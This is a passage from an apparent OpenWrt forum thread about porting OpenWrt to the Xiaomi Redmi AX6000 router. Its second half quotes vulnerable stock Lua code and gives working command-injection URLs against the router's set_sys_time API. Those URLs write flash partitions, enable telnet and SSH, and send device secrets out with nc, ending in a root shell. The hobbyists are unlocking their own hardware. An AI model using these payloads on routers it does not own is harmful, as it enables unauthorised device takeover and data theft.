Add OpenWrt support for Xiaomi "Redmi AX6000"

Looks like MT7986 was actually backported! https://github.com/openwrt/openwrt/commit/a96382c1bb204698cd43e82193877c10e4b63027

I've started prepping some changes locally to hopefully test soon. I also caved and ordered a WSON-8 clip as the Fly-By-Wire board isn't working too great. Hopefully it works.

Do not use this yet. Looking for feedback from those with experience here.

I was able to produce an image from this, would need to prep a few more things and shakes test it.

2 Likes

That's just the uboot checksum. It exists basically everywhere there's a env partition.

You appear to have defined DEVICE_ALT0_VENDOR and DEVICE_ALT0_MODEL. Those are just to spit out images with different model name when you have multiple models that are basically identical in implementation and just need a model rename. Since I believe they don't make any other similar hardware, this shouldn't be needed.

I haven't looked too closely at the rest of it + the dts, so there's probably things you need to iron out once you get uboot tftp boot working in order to test images.

I also vaguely remember there being an RGB light bar or similar. That'll most likely need some looking at later.

2 Likes

Thanks for the feedback!

I'll remove the ALT defines.

Working on the dts now based on your AX6S commit, the bpi-r3 commit and what I can find online. Will need to debug GPIO when I can unlock mine (any may need some assistance with that).

Yep, there's an RGB bar on the top of it. I've only ever seen it be 2 colors: blue or amber. Think I got those right now. Will push my changes in a bit.

2 Likes

There are a few different colours defined in the stock dts. I'm not entirely sure if those were just presets or it's just a bar with a select few colours. It's on the SPI bus so, I have little experience there. Either dig out the oscilloscope or reverse engineer whatever driver they have for it in the stock image.

2 Likes

Will likely have to be the latter, don't have an o-scope atm.

Here's a question for you though, the AX6S uses snfi: https://github.com/openwrt/openwrt/blob/a96382c1bb204698cd43e82193877c10e4b63027/target/linux/mediatek/dts/mt7622-xiaomi-redmi-router-ax6s.dts#L218-L315

Whereas the AX6000 uses spim: https://github.com/soxrok2212/openwrt/blob/master/target/linux/mediatek/dts/mt7986a-xiaomi-redmi-router-ax6000.dts#L872-L936

How about would one go about that? Simple as

&spim {
 ...
};

?

Not too many references online, only in MT7986 docs but there's also no other dts to reference.

2 Likes

I found the ZyXEL NWA50AX which appears to also use NMBM. The node used there is just &nand with a few options. I'm not sure which exactly to set.

Otherwise, I began creating the flash layout based on the OEM layout from @lostinfever's bootlog.

I based this on the AX6S OEM Flash Layout did similar things like squashing down ubi and overlay partitions (like so on the AX6S).

Not sure if this is even right, but also wondering where the Nvram partition goes to if its replaced by u-boot-env.

They don't make this part easy! (and I don't expect it to be). Looking for more feedback from experienced members again!

1 Like

I have a Redmi AX5400 how can I contribute? I really want to install openwrt on it.

Right now it’s a matter of building a device tree source for it. MT7986a looks to be supported in OpenWrt master. I have a colleague teaching me a little about that.

Best step someone could tackle would be trying to find a way that doesn’t involve overwriting flash to unlock UART.

FYI this is for the Redmi AX6000. Not the same as a 5400

I'm a terrible web programmer I still don't know how to contribute to the openwrt community good luck on your journey with these boring hardwers

maybe this link will help you: https://elixir.bootlin.com/linux/latest/source/arch/arm64/boot/dts/mediatek/mt7986a-rfb.dts

BTW: Bananapi BPi-R3 is based on the same chipset.

https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=a96382c1bb204698cd43e82193877c10e4b63027

1 Like

Yes. Bpi r3 is slightly different though in that it’s more of a development board. Still working on device tree for this guy and waiting for my WSON-8 clip to come in.

1 Like

XDR6088

Here is what I found yesterday in the LUA code:

entry({"api", "misystem", "set_sys_time"}, call("setSysTime"), (""), 173) 


function setSysTime()
    local result = {
        ["code"] = 0
    }
    local time = LuciHttp.formvalue("time")
    local timezone = LuciHttp.formvalue("timezone")
    local index = tonumber(LuciHttp.formvalue("index") or 0) or 0
    XQSysUtil.setSysTime(time, timezone, index)
    LuciHttp.write_json(result)
end


function setSysTime(time, tzone, index)
    local XQCountryCode = require("xiaoqiang.XQCountryCode")
    local XQFunction = require("xiaoqiang.common.XQFunction") 
    
    if tzone and not XQFunction.isStrNil(tzone) then
        local fs = require("nixio.fs")
        local uci = require("luci.model.uci").cursor()
        uci:foreach("system", "system",
            function(s)
                if not XQFunction.isStrNil(s.timezone) then
                    uci:set("system", s[".name"], "timezone", tzone)
                    uci:set("system", s[".name"], "webtimezone", tzone)
                    uci:set("system", s[".name"], "timezoneindex", index)
                end
            end
        )
        uci:commit("system")
        XQFunction.forkExec("/etc/init.d/timezone restart")
        
        local XQSysUtil = require("xiaoqiang.util.XQSysUtil")
        local XQLog = require("xiaoqiang.XQLog")
        local isMeshCap = XQFunction.isMeshCap()
        if isMeshCap then
            local info = {
                ["cmd"] = "sync_time",
                ["timezone"] = tostring(tzone),
                ["index"] = tostring(index or 0),
                ["tz_value"] = tostring(tzone),
            }
            local json= require("luci.json")
            local j_msg = json.encode(info)
            XQLog.log(6," CAP call RE sync timezone msg:" .. j_msg)
            -- exploitable vulnerability --------
            XQFunction.forkExec("/sbin/whc_to_re_common_api.sh action \'" .. j_msg .. "\'")
            -- ----------------------------------
            XQFunction.forkExec("/sbin/whc_to_re_common_api.sh whc_sync")
        end
    end
    if not XQFunction.isStrNil(time) and time:match("^%d+%-%d+%-%d+ %d+:%d+:%d+$") then
        XQFunction.forkExec("echo 'ok,xiaoqiang' > /tmp/ntp.status; sleep 3; date -s \""..time.."\"")
    end
end


function isMeshCap()
    local uci = require("luci.model.uci").cursor()
    local mode = uci:get("xiaoqiang", "common", "NETMODE") or ""
    if mode:match("^whc_cap") then 
        return true
    end
    if mode:match("^lanapmode") then 
        local capmode = getCAPMode()
        if capmode == 1 then
            return true
        end
    end
    return false
end

function getCAPMode()
    local uci = require("luci.model.uci").cursor()
    local mode = uci:get("xiaoqiang", "common", "CAP_MODE") or ""
    if mode == "ap" then 
        return 1
    end
    return 0
end

It is very likely that this vulnerability can be exploited.

First you need to check the correct settings of the router:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/xqnetwork/get_netmode
The netmode parameter must contain the value 4. If this is not the case, then the exploit will not work!

Test http request:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20

Vulnerability exploit check:
http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/sys_log
Download the tar.gz file from the link specified in the browser.
Unpack tar.gz and open file data/usr/log/messages
At the very end of the log should be the following:

2022-08-07T14:46:32+01:00 XiaoQiang luci: "timezone=%20%27%20%3b%20logger%20hello_world_3333_%20%3b%20"
2022-08-07T14:46:32+01:00 XiaoQiang whc_to_re: {"cmd":"sync_time","tz_value":"
2022-08-07T14:46:32+01:00 XiaoQiang root: hello_world_3333_

If this test works, then to activate TELNET you will need to replace logger command with this:

  1. CMD: echo pVoAAA== | base64 -d | mtd write - crash ("pVoAAA==" decode to "\xA5\x5A\x00\x00")
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20echo%20pVoAAA%3D%3D%20%7C%20base64%20-d%20%7C%20mtd%20write%20-%20crash%20%3B%20
    reboot

  2. CMD: bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20

  3. CMD: mtd erase crash
    Request: http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20
    reboot

PS: Only now I do not know how to legaly force the function isMeshCap to return true...

15 Likes

Fantastic find!!! Everything worked up to activating telnet. It still returned code 0, but telnet was not enabled. Tried on version 1.2.8 and 1.0.48

1 Like

Not sure I understand. I double checked the encoding and tried with bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit (notice the =), telnet still won't accept my connection (port shows closed).

I also know that the vulnerability is working, http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20 reboots the device

1 Like

No luck yet, for reference I did bdata show | nc <computer ip> 1234

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20show%20%7C%20nc%20{computer ip}%201234%20%3B%20
rand_key=*redacted*
rand_nonce=*redacted*
SN=*redacted*
color=100
CountryCode=CN
model=RB06
ethaddr=*redacted*
ethaddr_wan=*redacted*
miot_did=*redacted*
miot_key=*redacted*
wl1_ssid=*redacted*
wl0_ssid=*redacted*
telnet_en=0
ssh_en=0
uart_en=0

shows they're still 0 after 3rd reboot. Directly after the command to set bdata, telnet_en and ssh_en are set to 1 but revert to 0 after reboot

1 Like

It looks like encoding \xa5\x5a\x00\x00 is not working correctly.

dd if=/dev/mtd6 | hexdump -C | nc {computer ip} 1234

http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20dd%20if%3D%2Fdev%2Fmtd6%20%7C%20hexdump%20-C%20%7C%20nc%20{computer_ip}%201234%20%3B%20

I get this returned:

00000000  31 39 30 30 ff ff ff ff  ff ff ff ff ff ff ff ff  |1900............|
00000010  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  |................|
*
1 Like

This works:

1.Write \xa5\x5a\x00\x00 to crash partition (magic bytes)

  • Create magic bytes file (it's very difficult at best to encode raw bytes and send over http):
    echo -n -e '\xa5\x5a\x00\x00' > magic_bytes.bin

  • On pc create nc listener:
    nc -l 1234 < magic_bytes.bin

  • Copy binary to router: nc {computer_ip} {port} > /tmp/magic_bytes.bin
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20nc%20{computer_ip}%20{port}%20%3E%20%2Ftmp%2Fmagic_bytes.bin%20%3b%20

  • Write binary to crash partition (mtd6): cat /tmp/magic_bytes.bin | mtd write - crash
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20cat%20%2Ftmp%2Fmagic_bytes.bin%20%7C%20mtd%20write%20-%20crash%20%3b%20

  • Reboot: reboot
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

  1. Set bdata
  • Enable telnet, ssh and commit: bdata set telnet_en=1 ; bdata set ssh_en=1 ; bdata commit
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20commit%20%3B%20

  • Reboot: reboot
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20

  1. Reset crash partition
  • Erase crash partition: mtd erase crash
    http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20mtd%20erase%20crash%20%3b%20

Annnnnnd, telnet!

% telnet 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is '^]'.

XiaoQiang login: 

To get root password, follow same as AX3600: https://github.com/YangWang92/AX6S-unlock/raw/master/unlock_pwd.py

BusyBox v1.25.1 (2022-03-29 17:31:07 UTC) built-in shell (ash)

 -----------------------------------------------------
       Welcome to XiaoQiang!
 -----------------------------------------------------
  $$$$$$\  $$$$$$$\  $$$$$$$$\      $$\      $$\        $$$$$$\  $$\   $$\
 $$  __$$\ $$  __$$\ $$  _____|     $$ |     $$ |      $$  __$$\ $$ | $$  |
 $$ /  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ /  $$ |$$ |$$  /
 $$$$$$$$ |$$$$$$$  |$$$$$\         $$ |     $$ |      $$ |  $$ |$$$$$  /
 $$  __$$ |$$  __$$< $$  __|        $$ |     $$ |      $$ |  $$ |$$  $$<
 $$ |  $$ |$$ |  $$ |$$ |           $$ |     $$ |      $$ |  $$ |$$ |\$$\
 $$ |  $$ |$$ |  $$ |$$$$$$$$\       $$$$$$$$$  |       $$$$$$  |$$ | \$$\
 \__|  \__|\__|  \__|\________|      \_________/        \______/ \__|  \__|


root@XiaoQiang:~# 
root@XiaoQiang:~# cat /etc/openwrt_release 
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='18.06-SNAPSHOT'
DISTRIB_REVISION='unknown'
DISTRIB_TARGET='mediatek/mt7986'
DISTRIB_ARCH='aarch64_cortex-a53'
DISTRIB_DESCRIPTION='OpenWrt 18.06-SNAPSHOT unknown'
DISTRIB_TAINTS='no-all busybox'
root@XiaoQiang:~# id
uid=0(root) gid=0(root) groups=0(root)
root@XiaoQiang:~# uname -a
Linux XiaoQiang 5.4.150 #0 SMP Tue Mar 29 16:56:29 2022 aarch64 GNU/Linux```
17 Likes

Great! Important discovery.

1 Like